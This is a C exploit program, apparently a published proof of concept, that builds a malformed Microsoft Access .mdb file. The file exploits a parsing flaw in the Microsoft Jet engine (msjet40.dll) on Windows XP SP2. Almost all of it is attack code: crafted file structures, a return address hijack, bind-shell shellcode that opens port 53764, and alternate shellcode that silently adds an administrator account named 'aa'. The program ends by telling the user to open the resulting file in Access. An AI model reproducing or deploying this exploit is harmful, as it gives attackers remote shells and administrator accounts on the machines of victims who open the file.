This is a slightly modified version of Stuart Pearson's original exploit for the malformed MDB parsing vulnerabilities in Microsoft Access.
21907bea8baebb0eabf8d5cb55470e6622f00c5110265a1be7900b93ce98dd5a
/*
* --------------------------------------
*
* Microsoft Jet (msjet40.dll) Exploit
*
* --------------------------------------
*
*
*
* Tested on:
* -------------
* Windows_XP2 big5
*
*
* Requires:
* ------------
*
*
*
*
* Based on the exploit written by S.Pearson
*
* mov ecx, [edi+eax*4+0B0h] // edx now points to an offset
* mov edx, [ecx] // from our malformed file
* call dword ptr [edx+10h] // (MSAccess jmp edx)
*
*
* jmp esi //eip
*
*Nanika -- nanika[at]chroot.org
*Homepage: http://www.chroot.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")
char header[]=
"\x00\x01\x00\x00\x53\x74\x61\x6E\x64\x61\x72\x64\x20\x4A\x65\x74"
"\x20\x44\x42\x00\x01\x00\x00\x00\xB5\x6E\x03\x62\x60\x09\xC2\x55"
"\xE9\xA9\x67\x72\x40\x3F\x00\x9C\x7E\x9F\x90\xFF\x85\x9A\x31\xC5"
"\x79\xBA\xED\x30\xBC\xDF\xCC\x9D\x63\xD9\xE4\xC3\x9F\x46\xFB\x8A"
"\xBC\x4E\xB2\x6D\xEC\x37\x69\xD2\x9C\xFA\xF2\xC8\x28\xE6\x27\x20"
"\x8A\x60\x60\x02\x7B\x36\xC1\xE4\xDF\xB1\x43\x62\x13\x43\xFB\x39"
"\xB1\x33\x00\xF7\x79\x5B\xA6\x23\x7C\x2A\xAF\xD0\x7C\x99\x08\x1F"
"\x98\xFD\x1B\xC9\x5A\x6A\xE2\xF8\x82\x66\x5F\x95\xF8\xD0\x89\x24"
"\x85\x67\xC6\x1F\x27\x44\xD2\xEE\xCF\x65\xED\xFF\x07\xC7\x46\xA1"
"\x78\x16\x0C\xED\xE9\x2D\x62\xD4\x54\x06\x00\x00\x34\x2E\x30\x00";
char body[]=
"\x00\x00\x80\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\x02\x01\xDE\x0B\x00\x00\x00\x00\x90\x90\x90\x90\x59\x06\x00\x00"
"\x11\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x53\x11\x00\x0B\x00\x11\x00\x02"
"\x00\x00\x00\x02\x00\x00\x00\x00\x06\x00\x00\x01\x06\x00\x00\x00"
"\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11"
"\x00\x00\x00\x00\x00\x00\x00\x0C\x59\x06\x00\x00\x09\x00\x03\x00"
"\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x0C\x59\x06\x00\x00\x08\x00\x02\x00\x00\x00\x09\x04\x00\x00\x12"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x59\x06\x00\x00\x04\x00"
"\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x0a\x00"
"\x08\x00\x08\x59\x06\x00\x00\x05\x00\x01\x00\x00\x00\x09\x04\x00"
"\x00\x13\x00\x00\x00\x00\x00\x12\x00\x08\x00\x04\x59\x06\x00\x00"
"\x07\x00\x02\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
"\x1A\x00\x04\x00\x0A\x59\x06\x00\x00\x0A\x00\x04\x00\x00\x00\x09"
"\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06"
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
"\x00\x00\x00\x00\x04\x00\x0B\x59\x06\x00\x00\x0D\x00\x07\x00\x00"
"\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B"
"\x59\x06\x00\x00\x10\x00\x0A\x00\x00\x00\x09\x04\x00\x00\x12\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x59\x06\x00\x00\x0F\x00\x09"
"\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x0B\x59\x06\x00\x00\x0E\x00\x08\x00\x00\x00\x09\x04\x00\x00"
"\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x59\x06\x00\x00\x02"
"\x00\x00\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00"
"\x00\xFE\x01\x09\x59\x06\x00\x00\x06\x00\x01\x00\x00\x00\x09\x04"
"\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06\x00"
"\x00\x01\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00"
"\x00\x04\x00\x04\x00\x0B\x59\x06\x00\x00\x0C\x00\x06\x00\x00\x00"
"\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x59"
"\x06\x00\x00\x0B\x00\x05\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00"
"\x00\x00\x00\x00\x00\xFE\x01\x03\x59\x06\x00\x00\x03\x00\x01\x00"
"\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x08\x00\x02\x00"
"\x0E\x00\x43\x00\x6F\x00\x6E\x00\x6E\x00\x65\x00\x63\x00\x74\x00"
"\x10\x00\x44\x00\x61\x00\x74\x00\x61\x00\x62\x00\x61\x00\x73\x00"
"\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00\x65\x00\x43\x00\x72\x00"
"\x65\x00\x61\x00\x74\x00\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00"
"\x65\x00\x55\x00\x70\x00\x64\x00\x61\x00\x74\x00\x65\x00\x0A\x00"
"\x46\x00\x6C\x00\x61\x00\x67\x00\x73\x00\x16\x00\x46\x00\x6F\x00"
"\x72\x00\x65\x00\x69\x00\x67\x00\x6E\x00\x4E\x00\x61\x00\x6D\x00"
"\x65\x00\x04\x00\x49\x00\x64\x00\x04\x00\x4C\x00\x76\x00\x0E\x00"
"\x4C\x00\x76\x00\x45\x00\x78\x00\x74\x00\x72\x00\x61\x00\x10\x00"
"\x4C\x00\x76\x00\x4D\x00\x6F\x00\x64\x00\x75\x00\x6C\x00\x65\x00"
"\x0C\x00\x4C\x00\x76\x00\x50\x00\x72\x00\x6F\x00\x70\x00\x08\x00"
"\x4E\x00\x61\x00\x6D\x00\x65\x00\x0A\x00\x4F\x00\x77\x00\x6E\x00"
"\x65\x00\x72\x00\x10\x00\x50\x00\x61\x00\x72\x00\x65\x00\x6E\x00"
"\x74\x00\x49\x00\x64\x00\x16\x00\x52\x00\x6D\x00\x74\x00\x49\x00"
"\x6E\x00\x66\x00\x6F\x00\x4C\x00\x6F\x00\x6E\x00\x67\x00\x18\x00"
"\x52\x00\x6D\x00\x74\x00\x49\x00\x6E\x00\x66\x00\x6F\x00\x53\x00"
"\x68\x00\x6F\x00\x72\x00\x74\x00\x08\x00\x54\x00\x79\x00\x70\x00"
"\x65\x00\x83\x07\x00\x00\x01\x00\x01\x02\x00\x01\xFF\xFF\x00\xFF"
"\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF"
"\x00\xFF\xFF\x00\x10\x06\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
"\x81\x00\x00\x00\x00\x00\x83\x07\x00\x00\x00\x00\x01\xFF\xFF\x00"
"\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF"
"\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\x11\x06\x00\x00\x08\x00\x00\x00"
"\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x59\x06\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04"
"\x04\x01\x00\x00\x00\x00\x59\x06\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04\x04\x00\x00\x00"
"\x00\x00";
char shell_jmp[]=
"\x14\x00"
"\x67\xb8\x93\x7c"//EIP jmp esi
"\xE6"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90";
char EIP[]=
//"\x47\xAD\x05\x30";
"\xF7\x69\x05\x30"; //pad
//"\xFf\xf7\x07\x30";
char vuln_param[]=
"\x18\x00\x50\x00"
"\x61\x00\x72\x00"
"\x65\x00\x6E\x00"
"\x74\x00\x49\x00"
"\x64\x00\x4E\x00"
"\x61\x00\x6D\x00"
"\x65\x00\x00\x01" // 0100 will result in EDX pointing to a
// variable containing our MSAccess offset
"\x04\x06\xeb\x02"//jmp shellcode
"\x05\x06" ;
// for WinSP2 shellcode net user aa /add & net localgroup administrators aa /add
unsigned char shellcode2[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08\x68\x61\x61\x20"
"\x2f\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73"
"\x68\x20\x61\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68"
"\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x61\x64\x64\x20\x68\x61"
"\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63"
"\x20\x6e\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x4d\x11\x86"
"\x7c\xff\xd0\xb8\xa2\xca\x81\x7c\xff\xd0\x90\x90";
//172
unsigned char shellcode[] =
"\xeb\x0f\x58\x80\x30\x99\x40\x81\x38\xff\xff\xff\xff\x75\xf4\xeb\x05\xe8\xec\xff\xff"
"\xff\x31\xc0"
"\x70\x73\x98\x99\x99\xc3\x21\x99\x99\x09\xe5\x18\xa1\xd4\xc3\x09\x99\xed\x9a\xd1\x72"
"\x6c\x10\x5a\x12\xea\xa5\x98\x47\x12\xef\xe1\x98\x47\x12\xe7\xb9\x98\x46\x12\xd7"
"\x8d\xa8\x74\xcf\xce\xc8\x12\xa6\x98\x46\x10\x4f\x20\x97\x99\x99\x99\x6a\x3f\xed"
"\x92\xc0\xc6\x18\x5e\x9d\x99\x99\x99\xdc\x7b\x7d\xc0\xc6\xc7\x10\x70\x12\xdf\xbd"
"\x98\x41\x48\x78\x98\x51\xa8\x50\xff\x12\x91\x12\xdf\x85\x98\x41\x58\x78\x9b\x98"
"\x51\x12\x99\x98\x41\x10\x4f\x10\x6e\x10\x5b\x20\x95\x99\x99\x99\x71\xc2\x98\x99"
"\x99\xa8\x59\x35\x1c\x59\xec\x60\xcb\xcf\x66\xce\x49\xc3\x10\x5a\x20\x9e\x99\x99"
"\x99\x71\xdb\x98\x99\x99\xa8\x59\xca\x18\x75\x09\x98\x99\x99\x10\x7a\xca\xf1\x9b"
"\x99\x99\x99\x66\xce\x7d\xf1\x9f\x99\x99\x99\xf1\x98\x99\x99\x99\xf1\x9b\x99\x99"
"\x99\x66\xce\x71\x0a\xf1\x89\x99\x99\x99\x18\x5f\x9c\x99\x99\x99\xcf\xca\x66\xce"
"\x75\xf1\x9b\x99\x99\x99\xca\x66\xce\x69\x5e\xde\x85\x95\x99\x99\x99\x5e\xde\xb9"
"\x99\x99\x99\x99\x5e\xde\xbd\x98\x99\x99\x99\xf1\x99\x99\x99\x99\x14\xde\x85\xc9"
"\x14\xde\x95\xc9\x14\xde\x89\xc9\x66\xce\x21\xf1\x99\x99\x99\x99\x14\xde\x85\xc9"
"\x14\xde\x8d\xc9\x14\xde\x81\xc9\x66\xce\x21\x14\xde\xb1\xc9\x66\xce\x25\x12\xde"
"\x95\x10\xde\xfd\x10\xde\xf1\x12\xde\x81\x10\xde\xf9\x5e\xde\xcd\x98\x98\x99\x99"
"\x14\xde\xb1\xc9\x14\xde\xb1\xc9\xa8\x59\xc9\xc9\xc9\xf1\x98\x99\x99\x99\xc9\xc9"
"\x10\x64\x18\x5c\x14\x99\x99\x99\xcc\xc9\x66\xce\x59\x66\xee\x95\x66\xce\x5d\x66"
"\xee\x81\x66\xce\x5d\xd1\xc9\xc9\xca\x66\xce\x6d\x10\x5a\xa8\x59\x2d\x9d\xc9\x58"
"\x71\x9d\xc9\x66\xce\x55\x10\x5f\xa8\x59\x10\x58\x2c\x9d\xc9\xc9\xce\xc8\xcf\x66"
"\xee\x89\x66\xce\x51\x18\xa6\x99\x99\x99\x99\xed\xbc\xa8\x59\xc9\xce\x66\xae\xcf"
"\x66\xee\x89\x66\xce\x4d\x90\x59\xed\xac\xa8\x59\xc9\x66\xae\xcf\xca\x66\xce\x61"
"\xf1\xc9\x99\x99\x99\x66\xce\x41\x72\x5b\xa8\x59\xc9\x2d\x9d\xc9\xcf\xca\x66\xce"
"\x65\xa8\x50\xc8\xce\xc9\xcf\x66\xee\x8d\x66\xce\x49\xf1\xc9\x99\x99\x99\x66\xce"
"\x41\x72\x38\xc9\x66\xce\x45\x5a\xa8\x59\x35\x1c\x59\xec\x60\xc8\xcb\xcf\xca\x66"
"\x4b\xc3\xc0\x10\x9e\x18\x5e\x9d\x99\x99\x99\x7b\x7e\x5a\x71\x88\x67\x66\x66\xde"
"\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd\xfd\xeb\xfc\xea\xea\x99\xd5\xf6\xf8\xfd\xd5\xf0"
"\xfb\xeb\xf8\xeb\xe0\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc"
"\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc"
"\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc"
"\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
"\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8"
"\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa"
"\xfc\xea\xea\x99\x99\xce\xca\xd6\xda\xd2\xaa\xab\x99\xce\xca\xd8\xca\xed\xf8\xeb"
"\xed\xec\xe9\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed"
"\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99"
"\x9b\x99"
"\x4b\x9d"//PORT
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7"
"\xfc\xe1\xfc\x99"
"\xff\xff\xff\xff";
//753
char body2[]=
"\x02\x01\xA9\x0E\x00\x00\x00\x00\x4F\x01\x00\x00\x59\x06\x00\x00"
"\x34\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x53\x04\x00\x01\x00\x04\x00\x01"
"\x00\x00\x00\x01\x00\x00\x00\x12\x06\x00\x00\x13\x06\x00\x00\x00"
"\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x04\x59\x06\x00\x00"
"\x02\x00\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
"\x04\x00\x04\x00\x01\x59\x06\x00\x00\x03\x00\x01\x00\x00\x00\x09"
"\x04\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x59\x06"
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
"\x00\x00\x00\x00\x04\x00\x09\x59\x06\x00\x00\x01\x00\x00\x00\x00"
"\x00\x09\x04\x00\x00\x32\x00\x00\x00\x00\x00\x07\x00\xFE\x01\x06"
"\x00\x41\x00\x43\x00\x4D\x00\x18\x00\x46\x00\x49\x00\x6E\x00\x68"
"\x00\x65\x00\x72\x00\x69\x00\x74\x00\x61\x00\x62\x00\x6C\x00\x65"
"\x00\x10\x00\x4F\x00\x62\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49"
"\x00\x64\x00\x06\x00\x53\x00\x49\x00\x44\x00\x83\x07\x00\x00\x00"
"\x00\x01\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x09\xFF\xFF\x00\xFF\xFF"
"\x00\xFF\xFF\x00\xFF\xFF\x04\xFF\xFF\x12\xFF\xFF\x00\x14\x06\x00"
"\x00\x09\x000\x0\x00\x41\x00\x74\x00\x88\x00\x00\x00\x00\x00\x59"
"\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"
"\x00\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x10\x00\x4F\x00\x62"
"\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49\x00\x64\x00\xFF\xFF\x00";
char mdb[94208];
int main(int argc,char *argv[])
{
FILE *filename_mdb;
unsigned short port;
unsigned long ip;
if(argc == 1)
{
printf("\nMicrosoft Jet (msjet40.dll) Exploit\n");
printf("===================================\n\n");
printf("base : S.Pearson\n");
printf("code by Nanika for WinXP_sp2_big5\n\n");
printf("Telnet 53764 port shellcode for SP2\n");
printf("Nanika -- nanika[at]chroot.org \nHomepage www.chroot.org\n");
printf("Usage: %s <filename.mdb>\n",argv[0]);
return 1;
}
filename_mdb = fopen(argv[1],"wb");
memset(mdb,0x00,sizeof(mdb)); //fill with nulls
memcpy(mdb,header,sizeof(header));
memset(mdb+sizeof(header)-1,0x43, 7968);
memcpy(mdb+sizeof(header)-1+7969-1,body, sizeof(body));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1,shell_jmp, sizeof(shell_jmp));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1, EIP, sizeof(EIP));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1,
vuln_param, sizeof(vuln_param));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+
sizeof(vuln_param)-1, shellcode, sizeof(shellcode));
memset(mdb+sizeof(header)-1+7968-1+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+
sizeof(vuln_param)-1+sizeof(shellcode), 0x43, 2343);//2924//65//581
memcpy(mdb+sizeof(header)-1+7968-1+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+
sizeof(vuln_param)-1+sizeof(shellcode)-1+2343-1,body2,sizeof(body2));
if(filename_mdb)
{
fwrite(mdb,1,sizeof(mdb),filename_mdb);
fclose(filename_mdb);
}
printf("Malformed .mdb file created.\n");
printf("Now open with MSAccess.\n");
return 0;
}